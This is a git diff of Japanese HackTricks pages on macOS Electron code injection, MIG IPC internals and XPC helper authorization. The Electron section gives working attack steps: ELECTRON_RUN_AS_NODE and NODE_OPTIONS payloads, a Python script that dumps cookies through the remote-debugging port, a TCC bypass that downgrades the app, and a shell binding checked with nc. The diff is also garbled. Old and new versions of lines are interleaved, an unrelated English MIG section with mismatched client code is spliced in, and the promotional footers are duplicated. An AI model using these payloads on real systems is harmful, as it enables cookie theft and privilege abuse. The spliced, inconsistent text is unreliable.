Electronアプリケーションが使用している**外部のJS/HTMLファイル**があるかもしれません。したがって、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリケーションのコンテキストで任意のコードを実行できます。
|
||||
Electronアプリケーションが使用している**外部のJS/HTMLファイル**があるかもしれないため、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ただし、現時点では2つの制限があります:
|
||||
|
||||
* **`kTCCServiceSystemPolicyAppBundles`**権限が必要です。したがって、デフォルトではこれは不可能になりました。
|
||||
* 通常、コンパイルされた**`asap`**ファイルには、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が有効になっています。
|
||||
* **`kTCCServiceSystemPolicyAppBundles`**権限が**必要**ですが、デフォルトではこれは不可能になりました。
|
||||
* 通常、コンパイルされた**`asap`**ファイルには、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が`有効`になっています。
|
||||
|
||||
これにより、この攻撃経路はより複雑になります(または不可能になります)。
|
||||
{% endhint %}
|
||||
|
@ -89,8 +91,6 @@ npx asar pack app-decomp app-new.asar
|
|||
## `ELECTRON_RUN_AS_NODE`を使用したRCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
[**ドキュメント**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node)によると、この環境変数が設定されている場合、プロセスは通常のNode.jsプロセスとして開始されます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
|
@ -144,9 +144,9 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**`EnableNodeOptionsEnvironmentVariable`**が**無効**になっている場合、アプリは起動時に環境変数**NODE_OPTIONS**を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、その環境変数も**無視**されます。ただし、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
**`EnableNodeOptionsEnvironmentVariable`**が**無効**になっている場合、アプリは起動時に環境変数**NODE_OPTIONS**を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、その環境変数も**無視**されます。なお、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
|
||||
**`ELECTRON_RUN_AS_NODE`**を設定しない場合、次の**エラー**が発生します: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
**`ELECTRON_RUN_AS_NODE`**を設定しない場合、次の**エラー**が表示されます: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
{% endhint %}
|
||||
|
||||
### アプリPlistからのインジェクション
|
||||
|
@ -181,14 +181,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`などのノードパラメータ(`--inspect`など)を**無視**しますが、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は**無視**されます。ただし、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`などのノードパラメータ(例:`--inspect`)を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、この環境変数も**無視**されます。なお、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
|
||||
ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することができますが、前述のペイロードは他のプロセスを実行するためには機能しません。
|
||||
ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することはできますが、前述のペイロードは他のプロセスを実行するためには機能しません。
|
||||
{% endhint %}
|
||||
|
||||
**`--remote-debugging-port=9222`**パラメータを使用すると、Electronアプリから**履歴**(GETコマンドで)やブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**jsonエンドポイント**があるため)などの情報を盗むことができます。
|
||||
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリから**履歴**(GETコマンドで)やブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**jsonエンドポイント**があるため)などの情報を盗むことができます。
|
||||
|
||||
これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で詳しく学ぶことができ、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のようなシンプルなスクリプトを使用できます:
|
||||
これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)や[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学び、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のような単純なスクリプトを使用できます:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -196,7 +196,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
|||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
[**このブログポスト**](https://hackerone.com/reports/1274695) では、このデバッグが悪用され、ヘッドレスクロームが**任意の場所に任意のファイルをダウンロード**するようになります。
|
||||
[**このブログポスト**](https://hackerone.com/reports/1274695) では、このデバッグを悪用して、ヘッドレスクロームが**任意の場所に任意のファイルをダウンロード**するようにします。
|
||||
|
||||
### アプリ Plist からのインジェクション
|
||||
|
||||
|
@ -217,17 +217,17 @@ print(ws.recv()
|
|||
## 古いバージョンを悪用したTCCバイパス
|
||||
|
||||
{% hint style="success" %}
|
||||
macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックでもElectronアプリケーションにコードをインジェクトできない場合は、アプリの以前のバージョンをダウンロードし、そこにコードをインジェクトすることができます。それにより、TCC権限を取得できます(Trust Cacheが防止していない限り)。
|
||||
macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックを使用しても**Electronアプリケーションにコードをインジェクトできない**場合は、以前のバージョンのAPPをダウンロードし、その上でコードをインジェクトすることができます(Trust Cacheが防止しない限り、TCC権限を取得します)。
|
||||
{% endhint %}
|
||||
|
||||
## 非JSコードの実行
|
||||
## JSコード以外の実行
|
||||
|
||||
前述のテクニックにより、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイル**で実行され、**TCC権限を継承**します。\
|
||||
したがって、たとえばカメラやマイクにアクセスするために権限を悪用したい場合は、**プロセスから別のバイナリを実行**することができます。
|
||||
前述のテクニックを使用すると、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイル**で実行され、**TCC権限を継承**します。\
|
||||
したがって、たとえばカメラやマイクへのアクセス権を悪用したい場合は、**プロセスから別のバイナリを実行**するだけで済みます。
|
||||
|
||||
## 自動インジェクション
|
||||
|
||||
ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている**脆弱なElectronアプリケーションを見つけ**、それらにコードをインジェクトするのに簡単に使用できます。このツールは**`--inspect`**テクニックを使用しようとします:
|
||||
ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている**脆弱性のあるElectronアプリケーションを見つけ、それらにコードをインジェクト**するのに簡単に使用できます。このツールは**`--inspect`**テクニックを使用しようとします:
|
||||
|
||||
自分でコンパイルする必要があり、次のように使用できます:
|
||||
```bash
|
||||
|
@ -273,14 +273,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでのAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>で学ぶ!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
MIGは**Mach IPCのコード作成プロセスを簡素化**するために作成されました。基本的には、サーバーとクライアントが指定された定義と通信するために**必要なコードを生成**します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、彼のコードは以前よりもはるかにシンプルになります。
|
||||
MIG は **Mach IPC のコード作成プロセスを簡素化** するために作成されました。基本的には、サーバーとクライアントが指定された定義と通信するために必要なコードを **生成** します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、彼のコードは以前よりもはるかにシンプルになります。
|
||||
|
||||
### 例
|
||||
|
||||
次のような非常にシンプルな関数を持つ定義ファイルを作成します:
|
||||
定義ファイルを作成し、この場合は非常に単純な関数を持つもの:
|
||||
|
||||
{% code title="myipc.defs" %}
|
||||
```cpp
|
||||
|
@ -37,13 +37,13 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
今度は、migを使用して、互いに通信し合い、Subtract関数を呼び出すためのサーバーおよびクライアントコードを生成します:
|
||||
今、migを使用して、互いに通信し合い、Subtract関数を呼び出すことができるサーバーおよびクライアントコードを生成します:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
現在のディレクトリにいくつかの新しいファイルが作成されます。
|
||||
|
||||
**`myipcServer.c`** と **`myipcServer.h`** のファイルには、受信したメッセージIDに基づいて呼び出す関数を基本的に定義する **`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれています(開始番号は500と指定されています):
|
||||
**`myipcServer.c`** と **`myipcServer.h`** のファイルには、受信したメッセージIDに基づいて呼び出す関数を基本的に定義する **`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれています(開始番号は500としました):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -64,7 +64,7 @@ myipc_server_routine,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}次の手順は、`myipcServer.h`ファイルの内容です。{% endtab %}
|
||||
{% tab title="myipcServer.h" %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -95,16 +95,14 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
この例では、定義で関数を1つだけ定義していますが、複数の関数を定義した場合、それらは**`SERVERPREFmyipc_subsystem`**の配列内にあり、最初の関数はID **500**に割り当てられ、2番目の関数はID **501**に割り当てられるでしょう...
|
||||
|
||||
実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することが可能です:
|
||||
実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することができます。
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
最後に、サーバーを動作させるための重要な関数は**`myipc_server`**になります。これは、受信したIDに関連する関数を実際に**呼び出す**ものです:
|
||||
サーバーを動作させるためのもう1つの重要な機能は**`myipc_server`**であり、これは実際に受信したIDに関連する関数を**呼び出す**ものです:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -140,7 +138,7 @@ return FALSE;
|
|||
|
||||
以前に強調された行をチェックして、IDによって呼び出す関数にアクセスします。
|
||||
|
||||
以下は、サーバーとクライアントを作成するコードで、クライアントがサーバーから関数を呼び出すことができるシンプルな**サーバー**と**クライアント**のコードです:
|
||||
以下は、クライアントがサーバーから関数を呼び出すことができる単純な**サーバー**と**クライアント**を作成するコードです:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -177,6 +175,46 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
### macOS IPC Inter-Process Communication
|
||||
|
||||
#### macOS MIG - Mach Interface Generator
|
||||
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) interfaces for Mach-based systems like macOS. It generates client-side and server-side code for IPC communication.
|
||||
|
||||
To use MIG, you need to define an interface definition file (.defs) that specifies the messages and data structures exchanged between processes. This file is then processed by MIG to generate the necessary C code for IPC.
|
||||
|
||||
MIG simplifies the process of IPC by handling the low-level details of message passing, allowing developers to focus on the higher-level logic of their applications.
|
||||
|
||||
By understanding how to use MIG effectively, developers can implement secure and efficient inter-process communication in macOS applications.
|
||||
|
||||
```c
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "myipc.h"
|
||||
|
||||
int main() {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipcserver", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
myipc_hello(server_port);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In the example above, `myipc_hello` is a function generated by MIG that sends a message to the server process identified by the `server_port`.
|
||||
|
||||
By leveraging MIG for IPC in macOS, developers can enhance the security and reliability of their inter-process communication mechanisms.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -209,7 +247,7 @@ USERPREFSubtract(port, 40, 2);
|
|||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
**`myipc_server`** 関数は、受信したメッセージ ID に応じて正しい関数を呼び出す機能を担当することが以前に言及されました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**デコンパイルしたものがどのように見えるかを確認する**ことが興味深いです。なぜなら、この関数のコードは常に非常に似ているからです(この関数のコードは公開された関数に依存しない):
|
||||
前述のように、**受信したメッセージIDに応じて正しい関数を呼び出す関数**は`myipc_server`であることが以前に述べられました。ただし、通常はバイナリのシンボル(関数名なし)を持っていないため、**逆コンパイルしたものを確認するとどのように見えるか**が興味深いです(この関数のコードは公開された関数に独立しています):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server decompiled 1" %}
|
||||
|
@ -225,9 +263,9 @@ var_18 = arg1;
|
|||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// この関数を識別するのに役立つ sign_extend_64 の呼び出し
|
||||
// この関数を特定するのに役立つsign_extend_64への呼び出し
|
||||
// これにより、呼び出す必要のある呼び出しのポインタがraxに格納されます
|
||||
// アドレス 0x100004040(関数アドレス配列の使用)を確認します
|
||||
// アドレス0x100004040(関数アドレス配列の使用を確認)
|
||||
// 0x1f4 = 500(開始ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
|
@ -238,7 +276,7 @@ rax = *(int32_t *)(var_10 + 0x14);
|
|||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 2 つの引数を使用して適切な関数を呼び出す計算されたアドレス
|
||||
// 2つの引数を持つ適切な関数を呼び出す計算されたアドレス
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -255,7 +293,7 @@ return rax;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server decompiled 2" %}
|
||||
これは、異なる Hopper free バージョンでデコンパイルされた同じ関数です:
|
||||
これは異なるHopper無料バージョンで逆コンパイルされた同じ関数です:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
|
@ -299,7 +337,7 @@ r8 = 0x1;
|
|||
}
|
||||
}
|
||||
// 前のバージョンと同じif else
|
||||
// アドレス 0x100004040(関数アドレス配列の使用)を確認します
|
||||
// アドレス0x100004040(関数アドレス配列の使用を確認)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
|
@ -330,6 +368,12 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
実際には、**`0x100004000`** 関数に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は、**関数が実装されているアドレス**であり、**構造体は 0x28 バイト**を取るため、0 バイトから始まる 0x28 バイトごとに 8 バイトを取得し、それが**呼び出される関数のアドレス**になります。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングテクニックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
|
||||
実際には、**`0x100004000`**関数に移動すると、**`routine_descriptor`**構造体の配列が見つかります。構造体の最初の要素は**関数が実装されているアドレス**であり、**構造体は0x28バイト**を取るため、0x28バイトごと(バイト0から開始)に8バイトを取得し、それが**呼び出される関数のアドレス**になります:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このデータは、[**このHopperスクリプト**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)を使用して抽出できます。
|
||||
* **[**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)**に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
|
||||
|
|
|
@ -8,21 +8,21 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に **参加** するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
|
||||
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## XPC 認証
|
||||
|
||||
Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうか**を認証する別の方法も提案しています。
|
||||
Apple は、接続プロセスが **公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する** 別の方法も提案しています。
|
||||
|
||||
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出すことができるXPCサービスとしてHelperToolをルートとしてインストールします。ただし、サービスを呼び出すアプリには十分な認証が必要です。
|
||||
アプリケーションが **特権ユーザーとしてアクションを実行する必要がある** 場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出されることができる XPC サービスとして HelperTool を root としてインストールします。ただし、サービスを呼び出すアプリには十分な認証が必要です。
|
||||
|
||||
### ShouldAcceptNewConnection は常に YES
|
||||
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) に例があります。 `App/AppDelegate.m` では、**HelperTool** に**接続**しようとします。そして `HelperTool/HelperTool.m` では、**`shouldAcceptNewConnection`** 関数は以前に示された要件のいずれもチェックしません。常にYESを返します。
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) に例があります。`App/AppDelegate.m` で **HelperTool** に **接続** を試みます。そして `HelperTool/HelperTool.m` では、**`shouldAcceptNewConnection`** 関数は以前に指定された要件をチェックしません。常に YES を返します。
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -39,7 +39,7 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
より詳しい情報は、このチェックを適切に構成する方法については、以下を参照してください:
|
||||
より詳しい情報については、このチェックを適切に構成する方法について次の内容を参照してください:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
|
@ -50,7 +50,7 @@ return YES;
|
|||
ただし、**HelperTool からメソッドが呼び出される際には、いくつかの認可が行われます**。
|
||||
|
||||
`App/AppDelegate.m` の **`applicationDidFinishLaunching`** 関数は、アプリが起動した後に空の認可参照を作成します。これは常に機能するはずです。\
|
||||
その後、`setupAuthorizationRights` を呼び出して、その認可参照に**いくつかの権限を追加しようとします**:
|
||||
その後、`setupAuthorizationRights` を呼び出してその認可参照に**いくつかの権限を追加しようとします**:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
|
@ -186,13 +186,13 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
```
|
||||
このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。**各メソッド**ごとに、**認証が必要な**権限名と**`kCommandKeyAuthRightDefault`**が見つかることに注意してください。後者は、**この権限を取得できるユーザー**を示します。
|
||||
|
||||
権限にアクセスできるユーザーを示すために異なるスコープがあります。そのうちいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
|
||||
権限にアクセスできるユーザーを示すために異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165">値</th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーが管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求める</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求める。管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定する</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権限に関する追加コメントを指定する</td></tr></tbody></table>
|
||||
|
||||
### 権限の検証
|
||||
|
||||
`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する**権限があるかどうかをチェックします。これは**`checkAuthorization`**関数を呼び出すことで行われます。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出すために**必要な権限**をチェックします。すべてがうまくいけば、**返される`error`は`nil`になります**。
|
||||
